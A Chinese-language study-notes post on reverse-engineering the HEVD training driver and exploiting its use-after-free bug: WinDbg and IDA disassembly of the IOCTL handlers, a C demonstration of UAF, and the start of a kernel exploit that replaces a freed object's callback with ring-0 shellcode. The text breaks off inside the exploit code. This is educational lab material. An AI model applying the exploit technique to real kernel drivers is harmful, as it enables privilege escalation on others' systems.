<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    HEVD學習筆記——UAF

    VSole2021-11-28 16:07:36

    一、介紹

    HEVD作為一個優秀的內核漏洞靶場受到大家的喜歡,靶場地址 HackSysExtremeVulnerableDriver。這里選擇x86的驅動來進行黑盒測試學習內核漏洞,作為學習筆記記錄下來。

    實驗環境:

    二、驅動信息

    1、WinDbg    

    裝載驅動以后首先使用WinDbg查看驅動的內容

    SXS.DLL: Read 0 bytes from XML stream; HRESULT returned = 0x00000000SXS.DLL: Creating 756 byte file mapping
     ##     ## ######## ##     ## ########   ##     ## ##       ##     ## ##     ##  ##     ## ##       ##     ## ##     ##  ######### ######   ##     ## ##     ##  ##     ## ##        ##   ##  ##     ##  ##     ## ##         ## ##   ##     ##  ##     ## ########    ###    ########     HackSys Extreme Vulnerable Driver                 Version: 3.00              [+] HackSys Extreme Vulnerable Driver Loaded
    2: kd> lm m HEVDstart    end        module name98c78000 98cc2000   HEVD       (deferred)             2: kd> !drvobj HEVD 2Driver object (87d68b90) is for:*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys \Driver\HEVDDriverEntry:   98cc00ea  HEVDDriverStartIo: 00000000   DriverUnload:  98cbc000   HEVDAddDevice:     00000000   
    Dispatch routines:[00] IRP_MJ_CREATE                      98cbc048 HEVD+0x44048[01] IRP_MJ_CREATE_NAMED_PIPE           98cbc5c2    HEVD+0x445c2[02] IRP_MJ_CLOSE                       98cbc048    HEVD+0x44048[03] IRP_MJ_READ                        98cbc5c2   HEVD+0x445c2[04] IRP_MJ_WRITE                       98cbc5c2    HEVD+0x445c2[05] IRP_MJ_QUERY_INFORMATION           98cbc5c2    HEVD+0x445c2[06] IRP_MJ_SET_INFORMATION             98cbc5c2  HEVD+0x445c2[07] IRP_MJ_QUERY_EA                    98cbc5c2   HEVD+0x445c2[08] IRP_MJ_SET_EA                      98cbc5c2 HEVD+0x445c2[09] IRP_MJ_FLUSH_BUFFERS               98cbc5c2    HEVD+0x445c2[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    98cbc5c2   HEVD+0x445c2[0b] IRP_MJ_SET_VOLUME_INFORMATION      98cbc5c2 HEVD+0x445c2[0c] IRP_MJ_DIRECTORY_CONTROL           98cbc5c2    HEVD+0x445c2[0d] IRP_MJ_FILE_SYSTEM_CONTROL         98cbc5c2  HEVD+0x445c2[0e] IRP_MJ_DEVICE_CONTROL              98cbc064 HEVD+0x44064[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     98cbc5c2  HEVD+0x445c2[10] IRP_MJ_SHUTDOWN                    98cbc5c2   HEVD+0x445c2[11] IRP_MJ_LOCK_CONTROL                98cbc5c2   HEVD+0x445c2[12] IRP_MJ_CLEANUP                     98cbc5c2  HEVD+0x445c2[13] IRP_MJ_CREATE_MAILSLOT             98cbc5c2  HEVD+0x445c2[14] IRP_MJ_QUERY_SECURITY              98cbc5c2 HEVD+0x445c2[15] IRP_MJ_SET_SECURITY                98cbc5c2   HEVD+0x445c2[16] IRP_MJ_POWER                       98cbc5c2    HEVD+0x445c2[17] IRP_MJ_SYSTEM_CONTROL              98cbc5c2 HEVD+0x445c2[18] IRP_MJ_DEVICE_CHANGE               98cbc5c2    HEVD+0x445c2[19] IRP_MJ_QUERY_QUOTA                 98cbc5c2  HEVD+0x445c2[1a] IRP_MJ_SET_QUOTA                   98cbc5c2    HEVD+0x445c2[1b] IRP_MJ_PNP                         98cbc5c2  HEVD+0x445c2
    

    驅動裝載的地址是0x98C78000,DriverEntry的地址是0x98CC00EA,所以DriverEntry的偏移地址是0x480EA。IRP_MJ_DEVICE_CONTROL的分發函數偏移地址0x445C2。

    2、IDA Pro

    使用IDA對驅動進行分析,可以看到在DriverEntry首先是創建了設備對象

    INIT:00448036                 push    eax             ; DeviceObjectINIT:00448037                 push    edi             ; ExclusiveINIT:00448038                 push    FILE_DEVICE_SECURE_OPEN ; DeviceCharacteristicsINIT:0044803D                 push    FILE_DEVICE_UNKNOWN ; DeviceTypeINIT:0044803F                 lea     eax, [ebp+DestinationString]INIT:00448042                 push    eax             ; DeviceNameINIT:00448043                 push    edi             ; DeviceExtensionSizeINIT:00448044                 push    ebx             ; DriverObjectINIT:00448045                 call    ds:IoCreateDevice
    

    隨后就是對分發函數的賦值以及符號鏈接的創建:

    INIT:00448075                 push    1ChINIT:00448077                 pop     ecxINIT:00448078                 mov     eax, offset DispatchCommonINIT:0044807D                 lea     edi, [ebx+DRIVER_OBJECT.MajorFunction]INIT:00448080                 rep stosdINIT:00448082                 mov     eax, offset DispatchCreateAndCloseINIT:00448087                 mov     dword ptr [ebx+70h], offset DispatchIoCtrlINIT:0044808E                 mov     [ebx+38h], eaxINIT:00448091                 mov     [ebx+40h], eaxINIT:00448094                 mov     eax, [ebp+DeviceObject]INIT:00448097                 mov     [ebx+_DRIVER_OBJECT.DriverUnload], offset DriverUnloadINIT:0044809E                 or      [eax+DEVICE_OBJECT.Flags], DO_DIRECT_IOINIT:004480A2                 mov     eax, [ebp+DeviceObject]INIT:004480A5                 and     [eax+DEVICE_OBJECT.Flags], 0FFFFFF7FhINIT:004480AC                 lea     eax, [ebp+DestinationString]INIT:004480AF                 push    eax             ; DeviceNameINIT:004480B0                 lea     eax, [ebp+SymbolicLinkName]INIT:004480B3                 push    eax             ; SymbolicLinkNameINIT:004480B4                 call    ds:IoCreateSymbolicLink
    

    而根據IDA識別的結果就可以得知符號名,根據符號名就可以完成和驅動的連接與通信:

    INIT:00448134 aDeviceHacksyse:                        ; DATA XREF: DriverEntry(x,x)+14↑oINIT:00448134                 text "UTF-16LE", '\Device\HackSysExtremeVulnerableDriver',0INIT:00448182 ; const WCHAR aDosdevicesHack_0INIT:00448182 aDosdevicesHack_0:                      ; DATA XREF: DriverEntry(x,x)+25↑oINIT:00448182                 text "UTF-16LE", '\DosDevices\HackSysExtremeVulnerableDriver',0
    

    而在DispatchIoCtrl中,程序將IoControlCode取出減去0x222003以后得到下標,在用這個下標從Index_Table中取出函數地址表的下標。

    在根據這個地址表的下標從Func_Table中獲得函數地址以后跳轉到該函數執行:

    PAGE:00444064 ; int __stdcall DispatchIoCtrl(int, PIRP Irp)PAGE:00444064 DispatchIoCtrl  proc near               ; DATA XREF: DriverEntry(x,x)+87↓oPAGE:00444064PAGE:00444064 Irp             = dword ptr  0ChPAGE:00444064PAGE:00444064                 push    ebpPAGE:00444065                 mov     ebp, espPAGE:00444067                 push    ebxPAGE:00444068                 push    esiPAGE:00444069                 push    ediPAGE:0044406A                 mov     edi, [ebp+Irp]PAGE:0044406D                 mov     ebx, STATUS_NOT_SUPPORTEDPAGE:00444072                 mov     eax, [edi+60h]  ; 取出CurrentStackLocation指針賦給eaxPAGE:00444075                 test    eax, eaxPAGE:00444077                 jz      loc_4444C5PAGE:0044407D                 mov     ebx, eaxPAGE:0044407F                 mov     ecx, [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 casesPAGE:00444088                 cmp     eax, 6ChPAGE:0044408B                 ja      loc_4444AD      ; jumptable 00444098 default casePAGE:00444091                 movzx   eax, ds:Index_Table[eax]PAGE:00444098                 jmp     ds:Func_Table[eax*4] ; switch jump
    

    而這兩張表的內容如下,其中的FuncTable中的每一個地址都代表了不同的漏洞:

    PAGE:004444E0 Func_Table      dd offset loc_44409F, offset loc_4440CF, offset loc_4440F1PAGE:004444E0                                         ; DATA XREF: DispatchIoCtrl+34↑rPAGE:004444E0                 dd offset loc_444113, offset loc_444135, offset loc_44415A ; jump table for switch statementPAGE:004444E0                 dd offset loc_44417F, offset loc_4441A4, offset loc_4441C9PAGE:004444E0                 dd offset loc_4441EE, offset loc_444213, offset loc_444238PAGE:004444E0                 dd offset loc_44425D, offset loc_444282, offset loc_4442A7PAGE:004444E0                 dd offset loc_4442CC, offset loc_4442F1, offset loc_444316PAGE:004444E0                 dd offset loc_44433B, offset loc_444360, offset loc_444385PAGE:004444E0                 dd offset loc_4443AA, offset loc_4443CF, offset loc_4443F4PAGE:004444E0                 dd offset loc_444419, offset loc_44443E, offset loc_444463PAGE:004444E0                 dd offset loc_444488, offset loc_4444ADPAGE:00444554 Index_Table     db      0,   1Ch,   1Ch,   1ChPAGE:00444554                                         ; DATA XREF: DispatchIoCtrl+2D↑rPAGE:00444554                 db      1,   1Ch,   1Ch,   1Ch ; indirect table for switch statementPAGE:00444554                 db      2,   1Ch,   1Ch,   1ChPAGE:00444554                 db      3,   1Ch,   1Ch,   1ChPAGE:00444554                 db      4,   1Ch,   1Ch,   1ChPAGE:00444554                 db      5,   1Ch,   1Ch,   1ChPAGE:00444554                 db      6,   1Ch,   1Ch,   1ChPAGE:00444554                 db      7,   1Ch,   1Ch,   1ChPAGE:00444554                 db      8,   1Ch,   1Ch,   1ChPAGE:00444554                 db      9,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Ah,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Bh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Ch,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Dh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Eh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    0Fh,   1Ch,   1Ch,   1ChPAGE:00444554                 db    10h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    11h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    12h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    13h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    14h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    15h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    16h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    17h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    18h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    19h,   1Ch,   1Ch,   1ChPAGE:00444554                 db    1Ah,   1Ch,   1Ch,   1ChPAGE:00444554                 db    1BhPAGE:004445C1                 align 2
    

    如果取出的函數地址表的下標是0x1C,那么對應的就是最后一個跳轉地址,也就是loc_4444AD。

    而這個地址中的代碼是在告知用戶,發送的IOCTL是不合法的IOCTL:

    PAGE:004444AD loc_4444AD:                             ; CODE XREF: DispatchIoCtrl+27↑jPAGE:004444AD                                         ; DispatchIoCtrl+34↑jPAGE:004444AD                                         ; DATA XREF: ...PAGE:004444AD                 push    ecx             ; jumptable 00444098 default casePAGE:004444AE                 push    offset aInvalidIoctlCo ; "[-] Invalid IOCTL Code: 0x%X"PAGE:004444B3                 push    3               ; LevelPAGE:004444B5                 push    DPFLTR_IHVDRIVER_ID ; ComponentIdPAGE:004444B7                 call    ds:DbgPrintExPAGE:004444BD                 add     esp, 10hPAGE:004444C0                 mov     ebx, STATUS_INVALID_DEVICE_REQUESTPAGE:004444C5PAGE:004444C5 loc_4444C5:                             ; CODE XREF: DispatchIoCtrl+13↑jPAGE:004444C5                                         ; DispatchIoCtrl+66↑jPAGE:004444C5                 and     [edi+_IRP.IoStatus.Information], 0PAGE:004444C9                 xor     dl, dl          ; PriorityBoostPAGE:004444CB                 mov     ecx, edi        ; IrpPAGE:004444CD                 mov     [edi+_IRP.IoStatus.anonymous_0.Status], ebxPAGE:004444D0                 call    ds:IofCompleteRequestPAGE:004444D6                 pop     ediPAGE:004444D7                 pop     esiPAGE:004444D8                 mov     eax, ebxPAGE:004444DA                 pop     ebxPAGE:004444DB                 pop     ebpPAGE:004444DC                 retn    8PAGE:004444DC DispatchIoCtrl  endp
    

    這就可以知道,要觸發不同的漏洞,IOCTL是從0x222003開始,每次都要增加4,最多可以增加0x1B次。

    三、漏洞原理

    釋放重引用漏洞(UAF)產生的原因是對已經釋放的內存區域進行使用,導致了內存崩潰或者任意代碼的執行。比如下面這段代碼:

    #include #include 
    int main(int argc, char **argv){    char *buf1;    char *buf2;
        buf1 = (char *)malloc(0x100);    // 為buf1申請一段堆內存    printf("buf1: 0x%p", buf1);    free(buf1);                     // 將這段內存釋放掉,但是buf1并沒有賦值為NULL
        buf2 = (char *)malloc(0x100);    // 為buf2申請同樣大的堆內存,這時候之前buf1申請然后釋放掉的堆內存就會給buf2     printf("buf2: 0x%p", buf2);
        memset(buf2, 0, 0x100);              printf("buf2: %s", buf2);       // 將這段內存初始化以后輸出
        // 由于這段堆內存被buf2重新申請,它將會有效,此時堆buf1的操作也會有效    // 又因為它們兩個指向同一塊堆內存,所以對buf1的操作也會影響到buf2    printf("======Use After Free======");    strncpy(buf1, "Hello 1900", strlen("hello 1900"));     printf("buf2: %s", buf2);
        return 0;}
    

    由于free掉buf1以后,沒有及時地將buf1的指針清空,導致隨后對buf1的操作將會有效,從而影響了buf2的數據。最終輸出如下圖:

    所以要利用UAF漏洞,需要以下的幾個步驟:

    1、申請一塊內存以后釋放掉它,但是沒有清空該內存的指針

    2、重新申請一塊同樣大小的內存,此時這兩個指針對指向同一塊內存

    3、對第一步的指針進行操作,它將會影響到第二步申請的指針指向的內存

    四、漏洞分析

    在HEVD中,有4個函數是用來實現本次的漏洞,分別是:

    1、AllocateUAFObjectNonPagedPoolIoCtrlHandler:用來申請一塊內存

    2、UseUAFObjectNonPagedPoolIoCtrlHandler:對申請的內存的使用

    3、FreeUAFObjectNonPagedPoolIoCtrlHandler:釋放申請的內存

    4、AllocateFakeObjectNonPagedPoolIoCtrlHandler:申請和第一步同樣大小的內存并對其進行修改

    1、AllocateUAFObjectNonPagedPoolIoCtrlHandler

    該函數是函數地址表中的第5個函數,所以對應的IOCTL為0x222003 + 4 * 4。

    PAGE:00444135 loc_444135:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:00444135                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:00444135                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435PAGE:0044413B                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...PAGE:00444140                 push    3               ; LevelPAGE:00444142                 push    4Dh             ; ComponentIdPAGE:00444144                 call    esi ; DbgPrintExPAGE:00444146                 add     esp, 0ChPAGE:00444149                 push    ebx             ; 將CurrentStackLocation指針入棧PAGE:0044414A                 push    edi             ; 將IRP的指針入棧PAGE:0044414B                 call    AllocateUAFObjectNonPagedPoolIoCtrlHandlerPAGE:00444150                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...PAGE:00444155                 jmp     loc_4440BF
    

    程序將參數入棧以后就調用了AllocateUAFObjectNonPagedPoolCtrlHandler,繼續看該函數:

    PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:0044635A                                         ; CODE XREF: DispatchIoCtrl+E7↑pPAGE:0044635A                 call    AllocateUAFObjectNonePagedPoolPAGE:0044635F                 retn    8PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp
    

    在該函數中,只是調用了AllocateUAFObjectNonPagedPool,繼續跟進這個函數。

    PAGE:00446236 AllocateUAFObjectNonePagedPool proc nearPAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓pPAGE:00446236PAGE:00446236 var_1C          = dword ptr -1ChPAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18hPAGE:00446236PAGE:00446236                 push    0ChPAGE:00446238                 push    offset stru_402580PAGE:0044623D                 call    __SEH_prolog4PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFULPAGE:00446247                 and     dword ptr [ebp-4], 0PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object"PAGE:00446250                 push    3               ; LevelPAGE:00446252                 push    4Dh             ; ComponentIdPAGE:00446254                 mov     esi, ds:DbgPrintExPAGE:0044625A                 call    esi ; DbgPrintExPAGE:0044625C                 add     esp, 0ChPAGE:0044625F                 push    'kcaH'          ; TagPAGE:00446264                 push    58h             ; NumberOfBytesPAGE:00446266                 push    NonPagedPool    ; PoolTypePAGE:00446268                 call    ds:ExAllocatePoolWithTagPAGE:0044626E                 mov     ebx, eax        ; 將申請到的內存的地址賦給ebxPAGE:00446270                 test    ebx, ebxPAGE:00446272                 jnz     short loc_446291
    

    可以看到,該函數中首先申請了一塊0x58大小,tag為Hack的內存,并將指針賦給ebx。

    PAGE:00446236 AllocateUAFObjectNonePagedPool proc nearPAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓pPAGE:00446236PAGE:00446236 var_1C          = dword ptr -1ChPAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18hPAGE:00446236PAGE:00446236                 push    0ChPAGE:00446238                 push    offset stru_402580PAGE:0044623D                 call    __SEH_prolog4PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFULPAGE:00446247                 and     dword ptr [ebp-4], 0PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object"PAGE:00446250                 push    3               ; LevelPAGE:00446252                 push    4Dh             ; ComponentIdPAGE:00446254                 mov     esi, ds:DbgPrintExPAGE:0044625A                 call    esi ; DbgPrintExPAGE:0044625C                 add     esp, 0ChPAGE:0044625F                 push    'kcaH'          ; TagPAGE:00446264                 push    58h             ; NumberOfBytesPAGE:00446266                 push    NonPagedPool    ; PoolTypePAGE:00446268                 call    ds:ExAllocatePoolWithTagPAGE:0044626E                 mov     ebx, eax        ; 將申請到的內存的地址賦給ebxPAGE:00446270                 test    ebx, ebxPAGE:00446272                 jnz     short loc_446291
    

    隨后程序會將這段內存的前4個字節賦值為UAFObjectCallbackNonPagedPool,后面的字節賦值為'A',并將申請到的內存保存在全局變量中。而前4字節保存的函數只是一個簡單的輸出函數。

    PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑oPAGE:00446418                 push    offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"...PAGE:0044641D                 push    3               ; LevelPAGE:0044641F                 push    4Dh             ; ComponentIdPAGE:00446421                 call    ds:DbgPrintExPAGE:00446427                 add     esp, 0ChPAGE:0044642A                 retnPAGE:0044642A UAFObjectCallbackNonPagedPool endp
    

    由此可知,AllocateUAFObjectNonPagedPoolIoCtrlHandler做的事情是,申請一塊0x58大小的內存。該內存的前4字節賦值為一個函數地址,后面的字節賦值為'A'。而這塊內存的地址也會被賦值到全局變量g_UseAfterFreeObjectNonPagedPool中。

    2、UseUAFObjectNonPagedPoolIoCtrlHandler

    該函數是函數表中的第6個函數,對應的IOCTL是0x222003 + 5 * 4。而該IOCTL的操作是對UseUAFObjectNonPagedPoolIoCtrlHandler的調用,而在該函數中會調用UseUAFObjectNonPagedPool。

    PAGE:0044415A loc_44415A:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:0044415A                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:0044415A                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439PAGE:00444160                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...PAGE:00444165                 push    3               ; LevelPAGE:00444167                 push    4Dh             ; ComponentIdPAGE:00444169                 call    esi ; DbgPrintExPAGE:0044416B                 add     esp, 0ChPAGE:0044416E                 push    ebxPAGE:0044416F                 push    ediPAGE:00444170                 call    UseUAFObjectNonPagedPoolIoCtrlHandlerPAGE:00444175                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...PAGE:0044417A                 jmp     loc_4440BF ================================================================================================ PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:004464E8                                         ; CODE XREF: DispatchIoCtrl+10C↑pPAGE:004464E8                 call    UseUAFObjectNonPagedPoolPAGE:004464ED                 retn    8PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp
    

    在UseUAFObjectNonPagedPool中,函數首先會對全局變量g_UseAfterFreeObjectNonPagedPool進行判斷,判斷該變量中是否保存了內存地址。

    PAGE:00446441                 cmp     g_UserAfterFreeObjectNonPagedPool, 0 ; 判斷全局變量中是否保存了地址PAGE:00446448                 jz      loc_4464CE
    

    隨后就是對地址的前四字節進行判斷,是否保存了函數地址,如果保存了就調用這個函數。

    PAGE:00446495                 mov     eax, [eax]      ; 取出函數地址PAGE:00446497                 test    eax, eax        ; 函數地址是否有效PAGE:00446499                 jz      short loc_44649DPAGE:0044649B                 call    eax             ; 對函數進行調用
    

    3、FreeUAFObjectNonPagedPoolIoCtrlHandler

    該函數是地址表中的第7個函數,對應的IOCTL是0x222003 + 6 * 4。而該IOCTL的操作是對FreeUAFObjectNonPagedPoolIoCtrlHandler的調用,而在該函數中會調用FreeUAFObjectNonPagedPool。

    PAGE:0044417F loc_44417F:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:0044417F                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:0044417F                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443PAGE:00444185                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...PAGE:0044418A                 push    3               ; LevelPAGE:0044418C                 push    4Dh             ; ComponentIdPAGE:0044418E                 call    esi ; DbgPrintExPAGE:00444190                 add     esp, 0ChPAGE:00444193                 push    ebxPAGE:00444194                 push    ediPAGE:00444195                 call    FreeUAFObjectNonPagedPoolIoCtrlHandlerPAGE:0044419A                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...PAGE:0044419F                 jmp     loc_4440BF ====================================================================================== PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc nearPAGE:00446410                                         ; CODE XREF: DispatchIoCtrl+131↑pPAGE:00446410                 call    FreeUAFObjectNonPagedPoolPAGE:00446415                 retn    8PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp
    

    而在FreeUAFObjectNonPagedPool函數中,函數首先會判斷g_UseAfterFreeObjectNonPagedPool保存的地址是否為0。

    PAGE:00446377                 cmp     g_UseAfterFreeObjectNonPagedPool, 0PAGE:0044637E                 jz      short loc_4463F7
    

    如果地址不為0,函數就會調用ExFreePoolWithTag將這段內存釋放掉。

    PAGE:004463B5                 push    'kcaH'          ; TagPAGE:004463BA                 push    g_UseAfterFreeObjectNonPagedPool ; PPAGE:004463C0                 call    ds:ExFreePoolWithTag
    

    4、AllocateFakeObjectNonPagedPoolIoCtrlHandler

    該函數在函數地址表中的第8個函數,對應的IOCTL為0x222003 + 7 * 4。

    PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441AF                 push    3               ; LevelPAGE:004441B1                 push    4Dh             ; ComponentIdPAGE:004441B3                 call    esi ; DbgPrintExPAGE:004441B5                 add     esp, 0ChPAGE:004441B8                 push    ebx             ; 將CurrentStackLocation指針入棧PAGE:004441B9                 push    edi             ; 將IRP的指針入棧PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandlerPAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441C4                 jmp     loc_4440BF
    

    將IRP和CurrentStackLocation指針入棧以后就調用了AllocateFakeObjectNonPagedPoolIoCtrlHandler。

    PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑jPAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓oPAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441AF                 push    3               ; LevelPAGE:004441B1                 push    4Dh             ; ComponentIdPAGE:004441B3                 call    esi ; DbgPrintExPAGE:004441B5                 add     esp, 0ChPAGE:004441B8                 push    ebx             ; 將CurrentStackLocation指針入棧PAGE:004441B9                 push    edi             ; 將IRP的指針入棧PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandlerPAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...PAGE:004441C4                 jmp     loc_4440BF
    

    在該函數中,函數會將輸入緩沖區的地址取出以后入棧,接著在調用AllocateFakeObjectNonPagedPool函數。

    PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *)PAGE:0044611C AllocateFakeObjectNonPagedPool proc nearPAGE:0044611C                                         ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓pPAGE:0044611CPAGE:0044611C var_20          = dword ptr -20hPAGE:0044611C var_AllocateMemory= dword ptr -1ChPAGE:0044611C ms_exc          = CPPEH_RECORD ptr -18hPAGE:0044611C arg_InputBuffer = dword ptr  8PAGE:0044611CPAGE:0044611C                 push    10hPAGE:0044611E                 push    offset stru_4025A0PAGE:00446123                 call    __SEH_prolog4PAGE:00446128                 xor     ebx, ebxPAGE:0044612A                 mov     [ebp+ms_exc.registration.TryLevel], ebxPAGE:0044612D                 push    offset aCreatingFakeOb ; "[+] Creating Fake Object"PAGE:00446132                 push    3               ; LevelPAGE:00446134                 push    4Dh             ; ComponentIdPAGE:00446136                 mov     esi, ds:DbgPrintExPAGE:0044613C                 call    esi ; DbgPrintExPAGE:0044613E                 add     esp, 0ChPAGE:00446141                 push    'kcaH'          ; TagPAGE:00446146                 push    58h             ; NumberOfBytesPAGE:00446148                 push    ebx             ; PoolTypePAGE:00446149                 call    ds:ExAllocatePoolWithTagPAGE:0044614F                 mov     edi, eax        ; 將申請到的地址賦給ediPAGE:00446151                 mov     [ebp+var_AllocateMemory], edi ; 將地址賦給局部變量PAGE:00446154                 test    edi, edi        ; 申請到的內存是否成功PAGE:00446156                 jnz     short loc_446177PAGE:00446158                 push    offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk"PAGE:0044615D                 push    3               ; LevelPAGE:0044615F                 push    4Dh             ; ComponentIdPAGE:00446161                 call    esi ; DbgPrintExPAGE:00446163                 add     esp, 0ChPAGE:00446166                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEhPAGE:0044616D                 mov     eax, STATUS_NO_MEMORYPAGE:00446172                 jmp     loc_446204
    

    函數會申請一塊0x58大,tag為Hack的內存,并將內存地址保存到edi和局部變量中。

    PAGE:004461B3                 push    1               ; AlignmentPAGE:004461B5                 push    58h             ; LengthPAGE:004461B7                 mov     esi, [ebp+arg_InputBuffer] ; 將輸入緩沖區的地址取出賦給esiPAGE:004461BA                 push    esi             ; AddressPAGE:004461BB                 call    ds:ProbeForReadPAGE:004461C1                 push    16hPAGE:004461C3                 pop     ecxPAGE:004461C4                 rep movsdPAGE:004461C6                 mov     eax, [ebp+var_AllocateMemory]PAGE:004461C9                 mov     [eax+57h], bl   ; 將內存最后一個字節賦值為0
    

    接著函數會驗證輸入緩沖區的指針是否可讀,然后將輸入緩沖區的內容賦值到申請到的0x58字節的內存中,在對申請到的內存的最后一個字節賦值為0。

    五、漏洞利用

    由上面分析可以知道,申請的0x58大小的內存中的前4個字節保存了一個函數地址。正常情況下,通過對UseUAFObjectNonPagedPoolIoCtrlHandler的調用就會調用程序分配的那個函數,如下圖所示:

    可是,在釋放內存的時候,程序沒有對全局變量進行處理。這樣,如果釋放完內存以后,調用AllocateFakeObjectNonPagedPoolIoCtrlHandler的時候,程序會申請0x58大小的內存,這個時候就會得到和全局變量所指地址一樣的內存區域。

    而此時我們通過構造輸入緩沖區的前4字節來指定為ShellCode的函數地址,這樣就會改變全局變量所指的內存的前4字節,這個時候在調用UseUAFObjectNonPagedPoolIoCtrlHandler的時候,就會調用指定的ShellCode函數地址。

    完整的exp代碼如下:

    // exploit.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。//#include #include #include #include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver" void ShowError(PCHAR msg, DWORD ErrorCode);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){    NTSTATUS status = STATUS_SUCCESS;    HANDLE hDevice = NULL;    DWORD dwReturnLength = 0;    STARTUPINFO si = { 0 };    PROCESS_INFORMATION pi = { 0 };    CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4;    CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4;    CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4;    CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4;     // 打開驅動設備    hDevice = CreateFile(LINK_NAME,                         GENERIC_READ | GENERIC_WRITE,                         0,                         NULL,                         OPEN_EXISTING,                         FILE_ATTRIBUTE_NORMAL,                         0);    if (hDevice == INVALID_HANDLE_VALUE)    {        ShowError("CreateFile", GetLastError());        goto exit;    }     // 與驅動設備進行交互,分配0x58大小的內存    DeviceIoControl(hDevice,                    dwAllocateIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    NULL);          // 與驅動設備進行交互,正常操作時候對函數的調用    DeviceIoControl(hDevice,                    dwUseIoCtl,                    NULL,                    0,                    NULL,                    0,                    &dwReturnLength,                    